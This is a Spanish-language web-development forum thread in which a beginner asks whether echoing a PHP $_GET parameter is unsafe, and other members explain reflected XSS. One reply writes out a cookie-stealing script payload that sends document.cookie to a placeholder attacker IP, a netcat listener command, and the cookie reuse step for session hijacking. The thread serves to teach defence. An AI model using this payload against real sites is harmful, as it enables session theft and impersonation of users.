elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web (Moderador: #!drvy)
| | |-+  [Pregunta]: ¿Acarrea alguna vulnerabilidad?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [Pregunta]: ¿Acarrea alguna vulnerabilidad?  (Leído 5,526 veces)
Leguim


Desconectado Desconectado

Mensajes: 720



Ver Perfil
[Pregunta]: ¿Acarrea alguna vulnerabilidad?
« en: 19 Diciembre 2019, 15:30 pm »

Buenos días,

tengo la siguiente duda y es que no se muy bien si hacer esto acarree algún tipo de vulnerabilidad.

Código
  1. <?php
  2. $variable = $_GET['variable'];
  3. ?>
  4.  
  5. <form method="post">
  6. <button type="submit" name="mostrar">enviar</button>
  7. </form>
  8.  
  9. <?php
  10. if(isset($_POST['mostrar']))
  11. {
  12. echo $variable;
  13. }
  14. ?>
  15.  

Hasta acá nada raro pero lo que hago hasta ahora es que por "miedo" a que exista alguna vulnerabilidad en el proceso de abajo vuelvo a definir la variable $variable así.

Código
  1. <?php
  2. $variable = $_GET['variable'];
  3. ?>
  4.  
  5. <form method="post">
  6. <button type="submit" name="mostrar">enviar</button>
  7. </form>
  8.  
  9. <?php
  10. if(isset($_POST['mostrar']))
  11. {
  12.        $variable = $_GET['variable'];
  13. echo $variable;
  14. }
  15. ?>
  16.  


(No traten de buscarle sentido o alguna lógica a el programa es solamente de demostración, por ejemplo un formulario de alguna busqueda que reciba algun dato $_GET y que por esa duda de vulnerabilidad vuelvo a definir cuando el usuario realiza alguna petición)

Tengo noción de que hay que "limpiar" ese dato $_GET antes de pasarlo a una variable tal y como esta, es solo un ejemplo.


En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: [Pregunta]: ¿Acarrea alguna vulnerabilidad?
« Respuesta #1 en: 19 Diciembre 2019, 15:47 pm »

pueden hacerte una inyeccion reflejada, no te afecta a ti, pero si a usuarios incautos...

si el link pasas

url...com/?variable=nuestra+empresa+informa+que+usted+es+estupido

mostrará eso... y mucha gente cae... antes hasta los periodicos salian "defacearon X pagina, violaron a su seguridad y a sus dueños"


En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Leguim


Desconectado Desconectado

Mensajes: 720



Ver Perfil
Re: [Pregunta]: ¿Acarrea alguna vulnerabilidad?
« Respuesta #2 en: 19 Diciembre 2019, 15:57 pm »

pueden hacerte una inyeccion reflejada, no te afecta a ti, pero si a usuarios incautos...

si el link pasas

url...com/?variable=nuestra+empresa+informa+que+usted+es+estupido

mostrará eso... y mucha gente cae... antes hasta los periodicos salian "defacearon X pagina, violaron a su seguridad y a sus dueños"

Lo que hago para eso (aunque no tenía noción) es validarlo, si en principio yo espero que el dato sea int, string, etc, también si es string que tenga un max de caracteres...

Volviendo a eso, esto de "inyección reflejada" ¿es solamente para decirle a el usuario un "mensaje falso" más allá de que esa variable puede ser usada como parámetro en una función, el único peligro real sería ese... ¿no? más allá de si se creen que los llame estúpidos xD... ¿no existiría una vulnerabilidad y no haría falta definir otra vez la variable como hice antes?
En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: [Pregunta]: ¿Acarrea alguna vulnerabilidad?
« Respuesta #3 en: 19 Diciembre 2019, 15:59 pm »

si apropiadamente está limpia de posibles de codigo html es segura en general
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
Re: [Pregunta]: ¿Acarrea alguna vulnerabilidad?
« Respuesta #4 en: 19 Diciembre 2019, 15:59 pm »

Volviendo a eso, esto de "inyección reflejada" ¿es solamente para decirle a el usuario un "mensaje falso" más allá de que esa variable puede ser usada como parámetro en una función, el único peligro real sería ese... ¿no? más allá de si se creen que los llame estúpidos xD... ¿no existiría una vulnerabilidad y no haría falta definir otra vez la variable como hice antes?

Podrias pasarme el URL de tu WEB, esto con fines didactios...
En línea

@XSStringManolo
Hacker/Programador
Colaborador
***
Desconectado Desconectado

Mensajes: 2.399


Turn off the red ligth


Ver Perfil WWW
Re: [Pregunta]: ¿Acarrea alguna vulnerabilidad?
« Respuesta #5 en: 19 Diciembre 2019, 16:04 pm »

No hagas echo de una variable que pueda contener html, javascript. No te van a enviar un mensaje, usted es estúpido. Lo que van a hacer es mínimo robarte las cookies. Pero pueden meterte una shell o realizar ataques muy avanzados pudiendo tomar el control total de tu equipo.

Tengo hecho un generador de exploits para esa vulnerabilidad. https://github.com/StringManolo/RXSSGen

En línea

Mi perfil de patrocinadores de GitHub está activo! Puedes patrocinarme para apoyar mi trabajo de código abierto 💖

MinusFour
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.529


I'm fourth.


Ver Perfil WWW
Re: [Pregunta]: ¿Acarrea alguna vulnerabilidad?
« Respuesta #6 en: 19 Diciembre 2019, 16:12 pm »

Volver a asignar el mismo valor a la variable no sirve de nada si ese mismo valor que estás asignando no es de una fuente segura. Es como si le preguntarás a alguien su nombre y para estar seguros de que su nombre es como dice él... le vuelves a preguntar su nombre.
En línea

animanegra

Desconectado Desconectado

Mensajes: 287



Ver Perfil
Re: [Pregunta]: ¿Acarrea alguna vulnerabilidad?
« Respuesta #7 en: 19 Diciembre 2019, 17:00 pm »

Lo que hago para eso (aunque no tenía noción) es validarlo, si en principio yo espero que el dato sea int, string, etc, también si es string que tenga un max de caracteres...

Volviendo a eso, esto de "inyección reflejada" ¿es solamente para decirle a el usuario un "mensaje falso" más allá de que esa variable puede ser usada como parámetro en una función, el único peligro real sería ese... ¿no? más allá de si se creen que los llame estúpidos xD... ¿no existiría una vulnerabilidad y no haría falta definir otra vez la variable como hice antes?

¿Validas en cliente o en servidor? Ten en cuenta que toda variable $_GET $_POST y algunas de las variables de $_SERVER deben de limpiarse en el PHP para poder usarlas de forma segura antes de utilizarlas. (En general cualquier cosa que venga del usuario)

En tu caso,por ejemplo si te pueden meter como valor de variable:

Código:
<img src="" id="lalala"></img><script> lalala.src="http://IP_atacante:54471/"+document.cookie; </script>

Y si ponen un servidor a escuchar en la IP del atacante, por ejemplo con un netcat:

Código:
nc -l -p 54471

Desde el equipo a la escucha podrían obtener la cookie de sesion, e impersonar al que ha pinchado al URL. (O ha visitado la página si es persistente.)

Despues el usuario no tiene mas que visitar la pagina, poner la consola de javascript y poner en ella:

Código:
document.cookie=COOKIE_COPIADA


No se si se entiende. :\
En línea


42
No contesto mensajes por privado, si tienes alguna pregunta, consulta o petición plantéala en el foro para que se aproveche toda la comunidad.
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
Re: [Pregunta]: ¿Acarrea alguna vulnerabilidad?
« Respuesta #8 en: 19 Diciembre 2019, 18:44 pm »

  • Le pueden robar la cookie al usuario afectado (Con la misma podrias acceder a la cuenta del usuario y ver sus datos personales)
  • Puede realizar cualquier acción que el usuario pueda hacer desde el pagina, Ejemplo cambiar informacion, eliminar información (Dependiendo de los formularios y funciones disponibles en el navegador y/o javascript)
  • Ver cualquier información que el usuario es capaz de ver.
  • Lanzar ataques de denegación de servicios, a webs de terceros.
  • Iniciar ataques mas AVANZADOS dependiendo de la versión del navegador
  • Incluyendo la capacidad de no solo Congelar el Navegador.
  • Explotar vulnerabilidades en el navegador.
  • Descargar archivos.
  • Explotar vulnerabilidades del sistema Operativo.
  • Descargar CryptoLockers virus y/o cualquier otra burrada
« Última modificación: 19 Diciembre 2019, 18:52 pm por AlbertoBSD » En línea

Leguim


Desconectado Desconectado

Mensajes: 720



Ver Perfil
Re: [Pregunta]: ¿Acarrea alguna vulnerabilidad?
« Respuesta #9 en: 19 Diciembre 2019, 19:44 pm »

Una banda de respuestas  :xD pero no hacia falta todo eso, yo decía si acarreaba una vulnerabilidad no volver a definir x variable en este caso $_GET

Respondiendo: La aplicación web está en desarrollo por eso no tengo una URL que mandarles para que la vean.

A lo que iba era digamos que yo tengo un comentario que quiero editar, yo me ilustro o imagino que hay como "2 procesos" el "protocolo de seguridad entrante" y el "protocolo de seguridad de envío" (esto me lo invente yo  :xD por si les suena raro)

Bueno el protocolo de seguridad entrante se va a encargar de validar si el usuario tiene permisos para ingresar a x pagina.php

Por ejemplo si el usuario tiene la session iniciada, si el usuario no está bloqueado, si el usuario tiene el email verificado, entre tantas otras que pueda tener una aplicación... dependiendo el caso va a redireccionarlo a otras paginas... por ejemplo si no tiene la session iniciada lo manda a el index pero si si tiene la session iniciada pero esta baneado lo mando a ban.php y así hasta completar todos los protocolos.

Después está el protocolo de seguridad de envío que es cuando un usuario envía un formulario... Generalmente van a compartir el mismo protocolo pero con una diferencia y es que el protocolo de envío va a preguntar si la $session_id es igual a $_SESSION['id_user']

hay les explico (me va a salir tremendo texto bíblico pero así se entiende xD)

Ejemplo:

Código
  1. // protocolo de seguridad entrante
  2. [Si hay sessión iniciada]
  3.     -> [Si usuario no esta bloqueado]
  4.           -> [Se mantiene a el usuario en la pagina]
  5.                [Creo una variable $session_id que va a tener el valor de $_SESSION['id_user']
  6.     [Si no: mando -> ban.php]
  7. [Si no: mando-> index.php]
  8.  

Imaginen que una persona tiene abierto una pagina comentar.php que requiere que el usuario tenga una session inciada pero ese mismo usuario abre otra pagina comentar.php, hay ahora 2 pestañas abiertas con el mismo fichero... ahora en la primer pestaña va a cerrar su sesión por lo que lo va mandar a el index pero recordemos que dejó abierta otra donde se ve la pagina como si tuviera la sesión todavía iniciada, gracias a el protocolo de envío lo que va a hacer es que cuando el usuario que tiene una pagina abierta que requiere tener la sessión iniciada pero no la tiene lo que va a hacer es redirigirlo cuando intente usar el formulario...

Ahora gracias a session_id lo que va a hacer es que imaginemos ahora que el usuario tiene 2 cuentas, y abre esas 2 pestañas con el mismo fichero php cierra la sesión en una, pero le quedo la otra abierta y vuelve a ingresar a otra cuenta diferente pero ahora tenemos (1). comentar.php con una cuenta (X) y tenemos comentar.php con una cuenta (Y) ...

el protocolo de envio se va a quedar corto porque si va  a detectar que hay una session abierta, no puede decir si es la misma de antes pero si que hay una... entonces con session id lo que hago es compararlas

$session_id == $_session['id_user'] ?

Lo que trato de mostrar con esto (igual ya deben saber) es que cuando el usuario use el formulario van haber datos que se van a "actualizar" que no van a seguir siendo iguales...

Código
  1. <?php
  2. $comentarios = comentarios::Mostrar_Comentarios(); // Muestra todos los comentarios
  3. $comentarios = count($comentarios); // contamos todos los registros
  4.  
  5. echo $comentarios; // hay 3 comentarios
  6. ?>
  7.  
  8. Ahora imaginemos cuando el usuario manda un formulario
  9.  
  10. <?php
  11. if(isset($_POST['ver_otravez']))
  12. {
  13.     $comentarios = comentarios::Mostrar_Comentarios(); // Muestra todos los comentarios
  14.     $comentarios = count($comentarios); // contamos todos los registros
  15.  
  16.     echo $comentarios; // capaz acá pueda mostrar 4 o 5 o capaz menos comentarios, 2 comentarios... porque desde que yo abro la pagina hasta que yo mando un formulario pueden mostrarse datos diferentes (actualizados)
  17.  
  18.     Si yo acá no volvía a definir la variable $comentarios se iba a quedar con un valor viejo que era el 3
  19. }
  20. ?>
  21.  

A eso iba cuando preguntaba si tenia que volver  a definir variables cuando envío el formulario... por ahí un $_GET no se puede actualizar de otra forma que no sea cambiandolo y recargando la pagina por eso preguntaba...
Yo se que es un poco dificil de entender, más que nada no porque sea dificil sino porque explico para la mrd xD
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Alguna vulnerabilidad en VBulletin?
Nivel Web
Skeletron 6 5,196 Último mensaje 6 Diciembre 2009, 21:12 pm
por WHK
¿Alguna vulnerabilidad en deep freeze?
Hacking
miguelskk 6 6,920 Último mensaje 3 Mayo 2011, 00:11 am
por Edu
Consulta ves alguna vulnerabilidad en este script mi favorito.
Nivel Web
Weeken 0 2,190 Último mensaje 4 Abril 2013, 08:30 am
por Weeken
¿hay alguna vulnerabilidad explotable en windows server 2012 r2?
Windows
n0d3 2 1,888 Último mensaje 17 Abril 2018, 19:30 pm
por n0d3
alguna vulnerabilidad sobre HTTAPI httpd 2.0 SSDP/UPnP ??
Bugs y Exploits
jorguko 0 1,979 Último mensaje 29 Mayo 2019, 16:02 pm
por jorguko
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines